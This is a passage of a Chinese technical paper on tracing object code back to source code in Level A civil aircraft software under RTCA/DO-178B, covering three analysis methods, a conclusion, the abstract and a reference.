1)全面目标代码分析:对于规模相对较小的机载软件,可以将源代码编译为汇编目标代码,然后通过人工分析的方法来识别出哪些目标代码不是运行源代码所必须的,并对追溯不到源代码的目标代码进行额外的验证以确保其正确性。

2)对源代码结构最小子集进行分析:该方法的主要思路是按照软件编码标准的约束编写样例代码,然后进行编译,并通过人工分析的方法来分析样例代码的目标代码和源代码的追溯关系。在实际软件研制过程中,应该严格遵循软件编码标准,并通过源代码结构最小子集到目标代码追溯性分析来满足机载软件源代码到目标代码的追溯性要求。相对于全面代码分析而言,源代码结构最小子集分析方法的追溯性分析工作量大大减少,而且分析报告可以在多个机载软件项目上重复使用。源代码结构最小子集分析方法如图2所示。

具体过程如下:

(1)编制机载软件编码标准,对软件编码所使用的编程语言、规则、复杂度等进行约束和限制;

(2)按照机载软件编码标准中的约束和限制提取软件源代码结构最小子集,源代码结构是编程语言最基本的组成部分,如加减法等函数结构、循环/比较等逻辑结构等等;

(3)将机载软件项目源代码和源代码结构最小子集进行比较,判定源代码结构最小子集是否覆盖了机载软件项目所有源代码结构;

(4)按照源代码结构最小子集编写样例代码;

(5)在与实际机载软件项目相同的编译环境下使用相同的编译器、设置相同的编译器选项编译样例代码,并生成目标代码;

(6)对样例源代码和样例目标代码做追溯性分析;

(7)生成追溯性分析报告,识别出不能追溯到样例源代码的样例目标代码。

3)基于目标代码的结构覆盖分析:在目标代码层级进行结构覆盖分析的情况下,RTCA/DO-178B不再要求进行源代码到目标代码的追溯性分析。但是,采用该方法时,需要在目标代码层级满足RTCA/DO-178B对A级别软件结构覆盖率要求,包括语句覆盖、决策覆盖、MC/DC覆盖和数据耦合/控制耦合覆盖。

源代码和目标代码追溯性分析可以用于识别出哪些目标代码不能追溯到源代码,但不能用来表明这些额外的目标代码的正确性。对于这些额外的目标代码,应该通过验证来确认它们正确地运行并且不会对机载软件引入异常行为。RTCA/DO-178B中定义了验证方法可以是评审、分析和测试,因此第6.4.4.2节中对不能追溯到源代码的目标代码的验证并不等同于额外的目标代码应满足A级别机载软件结构覆盖率分析的要求。

4 总结

本文分析了机载软件编译过程及生成目标代码的影响因素,并研究了民用飞机A级别机载软件项目源代码到目标代码追溯性分析方法。随着机载软件在民用飞机高安全性系统上的使用越来越广泛,A级别机载软件广泛分布于现代民用飞机飞控、刹车、起落架、显示等系统中,为了满足RTCA/DO-178B第6.4.4.2节对于A级别机载软件结构覆盖率的要求,需要对机载软件源代码到目标代码追溯性进行研究。

摘要:机载软件在某些特定情况下应该分析源代码和目标代码之间的对应关系,RTCA/DO-178B第6.4.4.2节指出:机载软件结构覆盖率分析可以在源代码层级进行,如果软件为A级别并且编译过程中生成了无法追溯到源代码的目标代码,则应该在目标代码层级完成额外的验证工作以保证这些目标代码的正确性。因此,对于A级别软件,如果编译器生成了无法追溯到源代码的目标代码,那么除了完成源代码层级结构覆盖率分析,还应该完成源代码和目标代码之间的追溯性分析,并对不能追溯到源代码的目标代码进行额外的验证。本文研究了源代码到目标代码的追溯性分析方法。

关键词:机载软件,源代码,目标代码,追溯性分析,结构覆盖率

参考文献

[1]RTCA.DO-178B Software considerations in airborne systems and equipment certification[J].Washington DC,1992.

上一篇:剖腹手术下一篇:成功永远不完美